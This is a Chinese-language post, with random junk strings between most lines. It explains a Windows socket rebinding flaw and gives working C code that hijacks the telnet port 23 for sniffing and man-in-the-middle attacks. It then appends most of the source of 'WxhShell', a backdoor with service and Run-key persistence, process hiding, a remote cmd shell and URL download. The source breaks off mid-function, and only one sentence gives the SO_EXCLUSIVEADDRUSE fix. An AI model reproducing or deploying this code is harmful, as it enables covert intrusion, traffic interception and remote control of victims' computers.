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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ,/unhfs1q s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ],].zlN EoDA]6?Lj saddr.sin_family = AF_INET; -UT}/:a O#r%>;3* saddr.sin_addr.s_addr = htonl(INADDR_ANY); &)<)^.@3G^ &%Tj/ Qx bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); `M6)f?|$. cB&:z)i4 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 zbPqYhJzA RD&PDXT4 这意味着什么?意味着可以进行如下的攻击: Z3!`J& -s/ea~=R 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 u]@['7 tq?!-x+> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) TL#3;l^ +"VP-s0 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 +"@ .8m (7*}-Uy[C 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 SgOheN- *8XEYZa 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 @KAI4LP Kc(FX%3LU 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 0m ? )ROaJ :BTq!>s 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 syK^<xa T[j,UkgGo #include @lph)A Nk #include k VQ\1! #include rrv%~giU #include vfo~27T{( DWORD WINAPI ClientThread(LPVOID lpParam); rVsJ`+L int main() Af{"pzY { KK &?gTa WORD wVersionRequested; A5w6]: f2 DWORD ret; p()xz WSADATA wsaData; Du){rVY^d BOOL val; Lj;2\] SOCKADDR_IN saddr; <0?W{3NqI SOCKADDR_IN scaddr; DlNX 3 int err; igAtRX%Qx SOCKET s; _J [P[(ab SOCKET sc; xkR0 int caddsize; hR|MEn6KC HANDLE mt; >F&47Yn DWORD tid; 1aABzB
^ wVersionRequested = MAKEWORD( 2, 2 ); wlmRe`R err = WSAStartup( wVersionRequested, &wsaData ); `@s^(hc7i if ( err != 0 ) { X\F|Tk3_ printf("error!WSAStartup failed!\n"); 5/z/>D; return -1; X[TR3[1} } `y* }lg T saddr.sin_family = AF_INET; t&DEb_"De jF*j0PkNdb //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 29q _BR *: `@|$,2[C saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); iG?[<1~ saddr.sin_port = htons(23); b>9>uC@J15 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 8-6L|#J# { =mmWl9'mJ printf("error!socket failed!\n"); 00U> F return -1; ws^ np } xn|(9#1o val = TRUE; PnG-h~Y3N //SO_REUSEADDR选项就是可以实现端口重绑定的 N)>ID(}F1 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Zj4Uak { GowH]MO printf("error!setsockopt failed!\n"); jlg(drTo return -1; >)Tqt!? } H 7
^/q7 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; D|#E9OQzs //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 o%*xvH*A //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 6\S~P/PkE 2VCI 1E if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *HB-QIl { #LN`X8Wz' ret=GetLastError(); 3DG_QVg^v printf("error!bind failed!\n"); .w,q0<} return -1; ?[>3QE } 9Lfv^V0 listen(s,2); 5ms(Wd while(1) G 9vpt M { G9@0@2aY8 caddsize = sizeof(scaddr); *k>n<p3dd //接受连接请求 Q)z8PQl O sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); BDZ?Ez\Sg if(sc!=INVALID_SOCKET) xi;`ecqS< { bK-N:8Z mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); #yvGK:F if(mt==NULL) eQvg7aO; { -o
EW:~y printf("Thread Creat Failed!\n"); 5QO9Q]I#_\ break; ~.lPEA %% } _oDz- } vgN&K@hJ CloseHandle(mt); !FF U=f } @!d{bQd, closesocket(s);
1ZB"EQ WSACleanup(); _8agtQ:< return 0; $]2vvr } !_Z&a DWORD WINAPI ClientThread(LPVOID lpParam) R_S.tT! { ?#Q #u|~ SOCKET ss = (SOCKET)lpParam; lCHO;7YHX SOCKET sc; *siFj
CN< unsigned char buf[4096]; -+-_I*( SOCKADDR_IN saddr; ges J/I long num; '(jG[ry&T DWORD val; Lbb0_-'] DWORD ret; QnX(V[ //如果是隐藏端口应用的话,可以在此处加一些判断 %C_HXr@ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ',5ky{ saddr.sin_family = AF_INET; =zs`#-^8 saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ]L}dzA?: saddr.sin_port = htons(23); j^2j&Ta if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) v1,oilL { gr-OHeid printf("error!socket failed!\n"); @49S` return -1; 0Pi:N{x8 } &~U ] ~;@ val = 100; 3|Xyl`i4o if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tcog'nAz { }?v )N).kW ret = GetLastError(); )IZ~G\Ra' return -1; hqkz^!rp } \:F_xq if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) _``=cc { ^@NU}S):yN ret = GetLastError(); k2UVm$}u return -1; F`]2O:[ } _ZkI)o if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Y% 5eZ=z { ZO$%[ftb printf("error!socket connect failed!\n"); jsi!fx2Rm closesocket(sc); "|KP'<8% closesocket(ss); w_u\sSQ`! return -1; OJy#w{4 }
kX2rp?{ while(1) CF5`-wj/# { @cB$iP=Z4 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ~z;FP$U //如果是嗅探内容的话,可以再此处进行内容分析和记录 O463I.XAP //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 -v|qZ' num = recv(ss,buf,4096,0); zjoq6 if(num>0) e6RPIg send(sc,buf,num,0); C8i^P}y else if(num==0) G+\GaY[ break; 0'?L#K num = recv(sc,buf,4096,0); UN<]N76! if(num>0) cDH^\-z send(ss,buf,num,0); qPfQy
else if(num==0) lQkQ9##* break; 2x0<&Xy#P } hODWB&b closesocket(ss); 'Ne@e)s9 closesocket(sc); 1c{DY return 0 ; WU=59gB+jL } KRDmY+ m$T-s|SY &H:(z4/ ========================================================== 3n}?bY8@5_ Bh]P{H% 下边附上一个代码,,WXhSHELL '$zIbQ: RQu(Wu|m. ========================================================== $[=%R`~w ,]c
1A$Sr0 #include "stdafx.h" 3
xp)a%=7 !H>R%g#28_ #include <stdio.h> M?uC%x+S$_ #include <string.h> gQ1;],_ #include <windows.h> E\pL!c #include <winsock2.h> \&gB)czEO #include <winsvc.h> HEc+;O1< #include <urlmon.h> XFV!S#yEZ X1vd'> #pragma comment (lib, "Ws2_32.lib") M{hg0/}sUW #pragma comment (lib, "urlmon.lib") qR+!l( 54li^ #define MAX_USER 100 // 最大客户端连接数 6MdiY1Lr!K #define BUF_SOCK 200 // sock buffer ><HE;cVg? #define KEY_BUFF 255 // 输入 buffer l}sjD[2 K1!j fp #define REBOOT 0 // 重启 ax5<#3__ #define SHUTDOWN 1 // 关机 ur7q [n ut/=R !(K #define DEF_PORT 5000 // 监听端口 =D#bb<o :$BCRQ #define REG_LEN 16 // 注册表键长度 um>6z_" #define SVC_LEN 80 // NT服务名长度 ^\&e:Nkh !9P';p}2 // 从dll定义API j+v=Ul|l typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); a\YV3NJ/A typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); PQ$%H>{ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); +-CtjhoS typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2n"V}p>8i# N7
$I^?< // wxhshell配置信息 0$fpIz struct WSCFG { hJ~Uf5Q int ws_port; // 监听端口 e|WJQd4+S char ws_passstr[REG_LEN]; // 口令 ;&-k#PE]/H int ws_autoins; // 安装标记, 1=yes 0=no ;
_1
at char ws_regname[REG_LEN]; // 注册表键名 rK]Cr9W M char ws_svcname[REG_LEN]; // 服务名 =CVB BuVy char ws_svcdisp[SVC_LEN]; // 服务显示名 'K{Z{[s{ char ws_svcdesc[SVC_LEN]; // 服务描述信息 :I^;jdL char ws_passmsg[SVC_LEN]; // 密码输入提示信息 x-.?HS[ int ws_downexe; // 下载执行标记, 1=yes 0=no ILShd)]Rw char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" RcU}}V char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ' x35=@ !s?nJ(p }; I(7NQ8Hx VYImI>.t{ // default Wxhshell configuration Ob`d struct WSCFG wscfg={DEF_PORT, !AfHk| "xuhuanlingzhe", @;?p&.W`D 1, q0r>2c-d "Wxhshell", 0eu$ W "Wxhshell", 3r."j2$Hs0 "WxhShell Service", Zu("#cA.H "Wrsky Windows CmdShell Service", "v({, "Please Input Your Password: ", ~=RT*>G_ 1, @x'"~"%7b " http://www.wrsky.com/wxhshell.exe", [o+q>|q "Wxhshell.exe" y0.8A-2: }; .Cl:eu,] !1{e|p
7 // 消息定义模块 q0R -7O( char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,a]?S^:y] char *msg_ws_prompt="\n\r? for help\n\r#>"; @?
QoF#D char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; )@Yf]qx+Y< char *msg_ws_ext="\n\rExit."; mtmjZP(w char *msg_ws_end="\n\rQuit."; po Vx8oO8 char *msg_ws_boot="\n\rReboot..."; -^h' >. char *msg_ws_poff="\n\rShutdown..."; EZ$>.iy{ char *msg_ws_down="\n\rSave to "; .ndCfdy~ ?3zc=J"t char *msg_ws_err="\n\rErr!"; \Vy Z char *msg_ws_ok="\n\rOK!"; "8^
Ch{G- v)t:|Q{I char ExeFile[MAX_PATH]; OJ5#4qJ[ int nUser = 0; <;m<8RjX HANDLE handles[MAX_USER]; 4UvZ)^r int OsIsNt; MWpQ^dL_ 4DOH`6#an SERVICE_STATUS serviceStatus; DiwxXqY
SERVICE_STATUS_HANDLE hServiceStatusHandle; T)TfB( 8xV9.4S // 函数声明 $r8 ^0ZRr int Install(void); QoIT*! int Uninstall(void); wFsyD3 int DownloadFile(char *sURL, SOCKET wsh); ';jYOVe int Boot(int flag); >TnTnF WX void HideProc(void); Be=u&T:~ int GetOsVer(void); X"e5Y!:M- int Wxhshell(SOCKET wsl); dP<=BcH>f void TalkWithClient(void *cs); s ;oQS5Y int CmdShell(SOCKET sock); 1o;J,dYu int StartFromService(void); xLWwYK int StartWxhshell(LPSTR lpCmdLine); $oU*9}}Rn b TM{l.Aq3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); %GA"GYL9' VOID WINAPI NTServiceHandler( DWORD fdwControl ); lG!|{z7+0 {kCw+eXn? // 数据结构和表定义 ^O<&f D SERVICE_TABLE_ENTRY DispatchTable[] = LO khjHR { ,t9^j3Ixg {wscfg.ws_svcname, NTServiceMain}, y 4I6 {NULL, NULL} bg&zo;Ck8T }; >x+6{^}Q > o` ZQ d,3 // 自我安装 Avd
^ int Install(void) )d1_Wm#B { ,PuL{%PXu char svExeFile[MAX_PATH]; r1.nTO% HKEY key; zHL@i0>^ strcpy(svExeFile,ExeFile); ICs\
z %g$V\zmU // 如果是win9x系统,修改注册表设为自启动 /VS[pXXT| if(!OsIsNt) { ,dov<U[ia if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V4P;
5[ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Gh}LlX!w RegCloseKey(key); Y*>#T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =Ja] T~0A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); (\a]"g,]v RegCloseKey(key); W<$Z=(_v return 0; Iw&vTU=2 } {fF3/tL } k*E\B@W> } )-
viGxJ@ else { 36%nB* VsgE!/>1 // 如果是NT以上系统,安装为系统服务 qY<'<T4\ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6c"0})p if (schSCManager!=0) +5o8KYV { +!z{5: SC_HANDLE schService = CreateService RIXMJ7e7 ( zb}9%.U schSCManager, :xD=`ib wscfg.ws_svcname, *-q"3D` wscfg.ws_svcdisp, Nq` C.& SERVICE_ALL_ACCESS, P 8>d6;o($ SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , xA1hfe.9 SERVICE_AUTO_START, WZ7BoDa7O SERVICE_ERROR_NORMAL, h\.zdpR svExeFile, O-cbX/d NULL, AW_(T\P:u NULL, v<OJ69J NULL, ,M6Sy]Aj NULL, #qI= Z0Y NULL {u\Mj ); e7(ucE if (schService!=0) TUDr\' @/f { ? glSC$b CloseServiceHandle(schService); IOoz^/' CloseServiceHandle(schSCManager); j!4et; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); a1.Ptf eW| strcat(svExeFile,wscfg.ws_svcname); sqJSSNt if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
\ 3?LqJ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); U,gti,IX^ RegCloseKey(key); U{z9> return 0; *@Y3oh}S } 7L@K _ZJ } M^iU;vo CloseServiceHandle(schSCManager); 7J|VD#DE$Y } 0-|byAh } /yF QeE PSVc+s[Q+V return 1; `v}%33$hA } 8J~1-; !Mim@!5M // 自我卸载 &f^l^K5: int Uninstall(void) Jn3 An { 1Q4}'0U4 HKEY key; $Y_i4( 1jPJw3"3h if(!OsIsNt) { &S]@Ot<z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F;[T#N:~ RegDeleteValue(key,wscfg.ws_regname); 7.@TK& RegCloseKey(key); %]6~Eq%s if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @@rEs40 RegDeleteValue(key,wscfg.ws_regname); ,0~9dS RegCloseKey(key); :l&V]}:7* return 0; ^#1.l=s } ?(m
jx } vR=6pl$|~~ } AfP'EP0m else { 9D}/\jM ,FMx5$ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ivz>dJ ?T if (schSCManager!=0) :ORR_f`> { CQr<N w SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $w0lrh[+ if (schService!=0) |t)}VM% {
MR,R}B$ if(DeleteService(schService)!=0) { I,VH=Yn5, CloseServiceHandle(schService); 3a 1 u CloseServiceHandle(schSCManager); Cc<,z*T return 0; hL;8pE8 } ""h)LUrl CloseServiceHandle(schService); )a3J9a;ZS0 } ,H2D CloseServiceHandle(schSCManager); f{i8w!O"~ } UH>F|3"d } a/U2xq{x u4neXYSy return 1; a9Z%JS] } Ppt2A6W 80 Y\|) // 从指定url下载文件 <~X >[PK< int DownloadFile(char *sURL, SOCKET wsh) p=B>~CH { u#A<hq; HRESULT hr;
-0Tnh;&= char seps[]= "/"; M- 2Tz[ char *token; >Clh] ;K char *file; XfE -fH1j char myURL[MAX_PATH]; `#QG6/0 char myFILE[MAX_PATH]; 6XJ[h }^*F59>H strcpy(myURL,sURL); .R8 HZ}3 token=strtok(myURL,seps); $DC*i-}qFg while(token!=NULL) iy\nio` { st& file=token; 2Nm>5l token=strtok(NULL,seps); X!},8}~J~ } 8W+gl=C~ JwRF(1_sM GetCurrentDirectory(MAX_PATH,myFILE); q4$+H{xB strcat(myFILE, "\\"); F3lw@b3]) strcat(myFILE, file); xc:!cA{V send(wsh,myFILE,strlen(myFILE),0); -;XKcS7Ue send(wsh,"...",3,0); Hiv!BV| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w pt='( if(hr==S_OK) Bo+DJizu return 0; _l],
"[d else a=$t &7;, return 1; gx:;&4AD lvpc*d|K } X$\i{p9jw fiI
$T:g. // 系统电源模块 ow;R$5G int Boot(int flag) *P!e:Tm) { 3!o4)yJWx HANDLE hToken; $RwB_F TOKEN_PRIVILEGES tkp; oi&Wo'DX &Q=ZwC7# if(OsIsNt) { omf Rs OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); EIbXmkHl< LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Btd Xv4V tkp.PrivilegeCount = 1; sz):oea@f@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7"*|2Xq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); o{kbc5_ if(flag==REBOOT) { HygY>s+3[
if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) DtWwGC return 0; %T=A{<[` } uw7{>9 else { -g/hAxb5 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) s;YKeE!8 return 0; eL.7#SIr} } G>Em!4h } Q_"\Q/=?Do else { nCvPB/- if(flag==REBOOT) { QIn/,Yd if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "4j:[9vR\ return 0; rba;&D; } v !Kw<
fp| else { 1fL<&G if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) rspayO<]3 return 0; ]AS"z< } /Go
K}W} } Uo_tUp_Q ]Lqt(c return 1; p'?w2YN/ } xaKst
p >Dg#9 // win9x进程隐藏模块 =`C4qC_ void HideProc(void) DV]7.Bm { l??;3kh1 |__=d+M' HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); QldzQ%4c\ if ( hKernel != NULL ) 8Chu"PM%-J { cQZ652F9 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); @gBE{)Fj ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g#K'6VK{ FreeLibrary(hKernel); y466A]| } N<_Ko+VF `
e {BId return; B7-RU<n } d2ENm%q*PX [{<dbW\ 9 // 获取操作系统版本 6a>H|"PNE int GetOsVer(void) W*xX{$NL { >^"BEG9i: OSVERSIONINFO winfo; M`,XyIn winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); =j
/hl GetVersionEx(&winfo); 4DO/rtkVq if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) VAYb=4lt return 1; .Nx
W=79t else g.#+z'l return 0; lg:y|@Y'' } fRg=!<#% 8<)$z?K // 客户端句柄模块 Oz:ZQ M int Wxhshell(SOCKET wsl) PG)_L.7rJ { K2/E#}/ SOCKET wsh; f!-Sz/ c# struct sockaddr_in client; Gwd{#7FM` DWORD myID; HrqF![_ ]Bb7(JX while(nUser<MAX_USER) mKg@W;0ML { ke.7Zp2.R int nSize=sizeof(client); GZ0aOpUWVq wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7-9;PkGG.A if(wsh==INVALID_SOCKET) return 1; 0%)5.=6 VZA3IbK} handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); BSp$F WvT? if(handles[nUser]==0) Q)Dwq? closesocket(wsh); ? Ekq6uz\) else H^CilwD158 nUser++; {B yn{?w } '%3{jc-} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ?SUQk55w T2Z[AvNXFk return 0; <e6=% 9 } {=At#*=A G79C {|c\ // 关闭 socket K a r~I void CloseIt(SOCKET wsh) j=.g:&r) { iWXMKu closesocket(wsh); ^w6eWzI nUser--; 5urE ExitThread(0); Y%vP#>h } 9Nl*4 U
%:c],Fk // 客户端请求句柄 S[@6Lp3q_ void TalkWithClient(void *cs) 9 |K*G~J { ':;LrTc'K Ww87 SOCKET wsh=(SOCKET)cs; q?VVYZXP char pwd[SVC_LEN]; ":&|[9/ char cmd[KEY_BUFF]; Tj,Nmb>Q7' char chr[1]; g+Ph6W int i,j; h1%y:[_ ?\yB)Nd y while (nUser < MAX_USER) { \!X?zR_ j3P RAe if(wscfg.ws_passstr) { Rx.
rj~ if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tm xP Oe //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); BpXEK.Xw //ZeroMemory(pwd,KEY_BUFF); HRRngk#lV i=0; O~Uw&Bq while(i<SVC_LEN) { 1XnBK$` nJ# XVlHc // 设置超时 >7FSH"8[, fd_set FdRead; -g2{681`r struct timeval TimeOut; [n<.fw8$b FD_ZERO(&FdRead); >
I%zd/q? FD_SET(wsh,&FdRead); *#ompm TimeOut.tv_sec=8; ucFw,sB1 TimeOut.tv_usec=0; f
sX;Nj] int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 0e9A+&r if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w:tGPort DM/hcY$MW if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EC dfLn *c pwd =chr[0]; QBj Y&(vY if(chr[0]==0xd || chr[0]==0xa) { ;^.9#B,< pwd=0; /2:Q6J break; cJq<9( } anitqy#E i++; F9D"kG;Dk } xhD$e=
g ?HxS)Pqq // 如果是非法用户,关闭 socket [xS5z1; if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); JE%i-UVH+; } l_sg)Vr/b v =bv@c send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ZmO'IT=Ye send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); }Ch[|D=Wd6 &x/k^p= while(1) { Y=WR6!{ gx&7 3f<J ZeroMemory(cmd,KEY_BUFF); #y`k$20" e6es0D[>5 // 自动支持客户端 telnet标准 - coy@S=.' j=0; e>(Wvb&4 while(j<KEY_BUFF) { :dbV2'vIQ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); B(EtXB9 cmd[j]=chr[0]; v7$9QVze if(chr[0]==0xa || chr[0]==0xd) { ^AH-+#5 cmd[j]=0; wO\!xW: break; W) } Q~CpP9% j++; 8ok7|DJ } z5I^0' Lj-{t% } // 下载文件 %[+/>e/m if(strstr(cmd,"http://")) { S&`O\!NF send(wsh,msg_ws_down,strlen(msg_ws_down),0); -&~IOqlui if(DownloadFile(cmd,wsh)) I]UA0[8X send(wsh,msg_ws_err,strlen(msg_ws_err),0); %1@.7uTN else 0<"tl0p_ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :=B[yD! } nR#a)et else { a#6,#Q" ;C6O3@Q switch(cmd[0]) { IM2/(N.% t"#lnG!G // 帮助 Fj48quW1\P case '?': { FRD<0o /` send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); pJ$(ozV break; jS}'cm- } aliQ6_ // 安装 \j/}rzo] case 'i': { )uuwwz if(Install()) xP{m9_Qj send(wsh,msg_ws_err,strlen(msg_ws_err),0); KXDz'9_ else JiUT\y send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); /!o1l\i=5 break; DD)mN)
&T } IFkvv1S` // 卸载 ?RqTbT@~ case 'r': { aq$62>[ if(Uninstall()) :0|Hcg send(wsh,msg_ws_err,strlen(msg_ws_err),0); u<J2p?`\&` else G0^V!0I&O send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); AIf[W">\ break; FW5*_%J } T[mw}%3<v // 显示 wxhshell 所在路径 ^S:cNRSW" case 'p': { <(ubZ char svExeFile[MAX_PATH]; sd]0Hx[ strcpy(svExeFile,"\n\r"); {m>~` strcat(svExeFile,ExeFile); {[rO2<MkA# send(wsh,svExeFile,strlen(svExeFile),0); 939]8BERt break; Ig='a"% } hu`Lv // 重启 CD$u=E
] case 'b': { /7S-|%1 send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Rs^jk)Z:) if(Boot(REBOOT)) "o~N42DLB% send(wsh,msg_ws_err,strlen(msg_ws_err),0); D'Jm!Ap else { `8qT['`#R closesocket(wsh); T;xHIg4 ExitThread(0); f45;fT> } &8o : break; |q9,,i}! } b"*mi // 关机 I>(;bNgNE case 'd': { P<TpG0~( send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V%VrAi. if(Boot(SHUTDOWN)) 8-W"4)@b send(wsh,msg_ws_err,strlen(msg_ws_err),0); Uv#>d}P else { c
g3Cl[s closesocket(wsh); vEX|Q\b6' ExitThread(0); wGZ>iLe: } m.;{ 8AM%f break;
rytGr9S } jcT{ugpq // 获取shell 0 m)-7@ case 's': { RcKQER CmdShell(wsh); m&(%&}g closesocket(wsh); f/$-Nl. ExitThread(0); 3W%f#d$` break; 00$ @0 } vCYSm 0 // 退出 >F_qa=t%[ case 'x': { g>d7%FFn} send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1oXz[V CloseIt(wsh); YqK+F=0 break; -P IA;#Gs } BLsdx} // 离开 (xjoRbU* case 'q': { ?HEo9/ *7 send(wsh,msg_ws_end,strlen(msg_ws_end),0); '2Mjz6mBDA closesocket(wsh); #3 }5cC8_ WSACleanup(); ir( -$*J exit(1); S&;T_^| break; {Zd)U " } ui0J}DM } 'b?#4rq} } %Q>~7P Q>06dO~z8 // 提示信息 JI{OGr if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 1"~O"m sb } :G6 xJlE| } %M4XbSN| c,{& return; @ ~0G$ } T<9dW?'| kHz+ZY<? // shell模块句柄 62k9"xSH int CmdShell(SOCKET sock) XSL
t;zL: { +S:u[x STARTUPINFO si; dvrvpDoE. ZeroMemory(&si,sizeof(si)); 5Xq.=/eX si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 8k* si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; hSLwiX~ PROCESS_INFORMATION ProcessInfo; P?yOLG+)l) char cmdline[]="cmd"; WsK"^"Z CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); @[[Cs*- return 0; |zRoXO`]-* } h>mBkJ
{ 7><*
9iOW // 自身启动模式 R?={{+O int StartFromService(void) wXIe5 { 2s]]!{Z# typedef struct f0HV*%8 { 3f7t% DWORD ExitStatus; }tl8(kjm DWORD PebBaseAddress; 6@ (k8<3 DWORD AffinityMask; 8) ebXc DWORD BasePriority; /o}0oo5B ULONG UniqueProcessId; ozxK?AMgG ULONG InheritedFromUniqueProcessId; b'Piymx } PROCESS_BASIC_INFORMATION; D
